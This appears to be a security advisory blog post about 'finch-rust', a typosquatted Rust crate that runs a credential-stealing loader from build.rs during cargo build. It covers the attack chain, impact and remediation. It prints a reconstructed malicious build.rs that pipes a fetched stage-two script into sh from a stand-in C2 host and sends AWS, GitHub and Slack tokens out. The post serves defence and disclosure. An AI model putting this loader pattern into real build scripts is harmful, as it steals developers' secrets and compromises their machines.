Feb 7, 2026·6 min read·11 visits
A malicious Rust crate named 'finch-rust' was published to crates.io, executing a malware loader during compilation. Part of the 'Shai-Hulud' campaign, it steals developer secrets (AWS, SSH, Env Vars) immediately upon running 'cargo build'.
In the ongoing saga of supply chain warfare, the Rust ecosystem—often lauded for its memory safety—has been reminded that the borrow checker cannot save you from social engineering. The 'finch-rust' crate, a malicious package mimicking a legitimate library, was found acting as a loader for the 'Shai-Hulud' malware campaign. Designed to execute arbitrary code during the build process via 'build.rs', this package serves as a stark reminder that 'cargo build' is effectively remote code execution.
Rust developers love to brag about safety. "It compiles, so it works," they say. "Memory leaks are a thing of the past," they chant. But while the compiler is busy meticulously checking lifetimes and borrowing rules, the supply chain is busy burning the house down around it. The finch-rust incident is a perfect example of why memory safety is irrelevant when you invite a vampire into your living room.
This wasn't a sophisticated buffer overflow or a complex race condition. It was a classic typosquatting attack targeting the legitimate finch library. The attackers bet on a simple premise: developers are lazy, and they type fast. By uploading a package named finch-rust, they targeted anyone who might misremember the package name or naively assume the suffix -rust implies an official port.
Once added to your dependency tree, finch-rust didn't need you to import its modules or call its functions. It didn't wait for runtime. It struck during the one phase every developer trusts implicitly: the build.
The "flaw" here isn't a bug in Rust; it's a feature. Rust's package manager, Cargo, allows packages to include a build.rs file—a build script that compiles and executes before the main package is built. This is intended for legitimate tasks like compiling C dependencies or generating code. However, for malware authors, build.rs is the Holy Grail: Arbitrary Code Execution (ACE) that triggers automatically.
The finch-rust crate utilized this mechanism to act as a loader. It wasn't just a passive library; it was an active combatant. The moment a victim ran cargo build, cargo test, or even just cargo check (depending on how the IDE handles indexing), the malicious script executed with the full privileges of the user.
This specific instance is tied to the Shai-Hulud campaign (a nod to the sandworms of Dune), a sophisticated operation known for deploying self-replicating worms across the npm and PyPI ecosystems. Now, they've ported their toolkit to Rust. The malware doesn't just sit there; it profiles the system, identifies it as a developer workstation or a CI/CD runner, and prepares to harvest the crop.
While the specific obfuscated payload varies per campaign iteration, the architecture of a build.rs attack is depressingly simple. A legitimate build script might look for a C library. The malicious finch-rust script looks more like a data vacuum.
Here is a reconstruction of the attack flow based on the campaign's known behavior:
// build.rs - The Trojan Horse
use std::process::Command;
use std::env;
fn main() {
// 1. Legitimate-looking camouflage
// (Usually some innocuous code generation to fool basic linters)
println!("cargo:rerun-if-changed=src/proto.rs");
// 2. The Payload Execution
// In reality, this is often heavily obfuscated or pulls a second stage
// from a remote URL to avoid static analysis detection.
#[cfg(target_os = "linux")]
{
// Example of the behavior:
// curl -s http://malicious-c2.xyz/payload | sh
let _ = Command::new("sh")
.arg("-c")
.arg("curl -s http://192.168.x.x/stage2 | sh")
.output();
}
// 3. Environment Variable Theft
// The malware iterates over sensitive env vars commonly found in CI/CD
let keys = vec!["AWS_ACCESS_KEY_ID", "GITHUB_TOKEN", "SLACK_BOT_TOKEN"];
for key in keys {
if let Ok(val) = env::var(key) {
// Exfiltrate to C2
send_to_c2(key, val);
}
}
}The actual finch-rust crate likely employed higher levels of obfuscation, encoding the payload strings or hiding them within binary data blobs included in the crate. The goal is to bypass automated scanners that grep for curl, wget, or socket calls. By the time the developer realizes the build is taking a few seconds longer than usual, the credentials have already been POSTed to an external server.
Let's walk through the attack chain. It relies entirely on social engineering and the default trust model of modern package managers.
A developer needs the finch library. Maybe they are tired, maybe they are new to Rust. They type:
cargo add finch-rust
Cargo resolves the dependency, downloads the crate from crates.io, and updates Cargo.lock. The developer sees the green text and feels productive.
The developer runs cargo run. Before the main application compiles, Cargo identifies that finch-rust has a build script. It compiles build.rs into an executable and runs it on the host machine.
The malware immediately scans ~/.aws/credentials, ~/.ssh/id_rsa, and scrapes process environment variables. It packages this loot and pushes it to a C2 server controlled by the Shai-Hulud operators. If running in a CI environment (detected via env vars like CI=true or GITHUB_ACTIONS), it may attempt to inject itself into build artifacts to propagate further downstream.
The severity here is absolute. If this crate ran on your machine, you must assume Total Compromise. This is not a denial of service; this is an identity theft kit.
Developer Workstations: The attackers now have your AWS keys, your company VPN certificates, your private SSH keys to GitHub, and potentially your GPG signing keys. They can commit code as you, access production infrastructure as you, and pivot into the corporate network.
CI/CD Pipelines: If finch-rust made it into a pipeline, the damage is magnified. CI runners often hold high-privileged deployment secrets. The malware can steal these secrets to deploy malicious versions of your actual software to production, effectively poisoning the well for all your users. The Shai-Hulud campaign is specifically designed for this kind of lateral movement and persistence.
There is no "patching" this. The crate is malware. The only fix is removal and remediation.
finch-rust from your Cargo.toml and delete your Cargo.lock to ensure no transitive dependencies remain.cargo build with this crate present, every credential on that machine is burned. Rotate AWS keys, revoke GitHub tokens, generate new SSH keys, and invalidate any API keys present in your .env files.build.rs of suspicious dependencies before adding them.CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
finch-rust Malicious Actor | All Versions | N/A (Removed) |
| Attribute | Detail |
|---|---|
| Attack Vector | Supply Chain / Typosquatting |
| CVSS | 10.0 (Critical) |
| Impact | Data Exfiltration / Arbitrary Code Execution |
| Component | build.rs (Cargo Build Script) |
| Campaign | Shai-Hulud 2.0 |
| Status | Malware / Active Exploitation |
The product downloads, installs, or updates code from a third-party provider, but it does not sufficiently verify the origin or integrity of the code.